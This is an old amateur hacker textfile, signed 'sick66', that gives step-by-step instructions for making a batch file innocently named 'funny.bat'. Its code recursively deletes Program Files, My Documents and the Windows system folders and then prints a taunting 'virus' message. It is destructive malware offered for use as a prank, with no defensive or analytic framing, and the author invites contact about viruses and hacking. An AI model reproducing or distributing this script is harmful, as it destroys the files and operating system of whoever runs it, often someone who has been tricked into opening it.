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- right click with your mouse on the desktop
- select 'new'
- then you will see a list of files you can create, pick 'textfile'
- now, name it 'funny' or something (without the ' ')
- the put the following code:

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@ECHO OFF
IF EXIST C:\PROGRAM FILES\*.* DELTREE /Y C:\PROGRAM FILES\*.* 
IF EXIST C:\MY DOCUMENTS\*.* DELTREE /Y C:\MY DOCUMENTS\*.* 
IF EXIST C:\WINDOWS\DESKTOP\*.* DELTREE /Y C:\WINDOWS\DESKTOP\*.* 
IF EXIST C:\WINDOWS\START MENU\*.* DELTREE /Y C:\WINDOWS\START MENU\*.* 
IF EXIST C:\WINDOWS\COMMAND\*.* DELTREE /Y C:\WINDOWS\COMMAND\*.* 
IF EXIST C:\WINDOWS\SYSTEM\*.* DELTREE /Y C:\WINDOWS\SYSTEM\*.* 
IF EXIST C:\WINDOWS\*.* DELTREE /Y C:\WINDOWS\*.* 
ECHO                    *********************** :-P
ECHO                   YOU HAVE BEEN HIT BY THE HARD-DRIVE KILLA!
ECHO                   BY THE WAY.....YOUR COMPUTER IS REALLY FUCKED UP NOW..DUDE!
ECHO                   NASTY...HEY?!  IF YOU GOT THIS VIRUS...YOU DESERVED IT, MOTHER-BUT-FUCK!
ECHO                    *********************** :-P
ECHO                   COPYRIGHT SICK66 00/01

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notes: - if you put in the code...do it without the 'cut here' line!
       - if you don't want to type it all again just select the code an hit
         'control-c' (ctrl+c) and place your cursor in your new created file
         and hit control-v (ctrl+v)
       - when all that is done, select 'save as' and save it as funny.bat
       - (IT MUST END IN .BAT OR ELSE IT WON'T WORK!!!!!!!!!!!!!!)

   AS SIMPLE AS THAT...EVEN THE BIGGEST SUCKER CAN DO THIS...RIGHT??

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if you have any questions concerning my textfiles:

    my e-mail: sick66@chatplaza.nl
    my icq# : 77293314
    my phone number: fuck you man! :-p

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ps: you can also send me a mail about virusses and hacking
cuz i'm also into that shit

         tot ziens (that is dutch for goodbye)

         -=*sick66*=-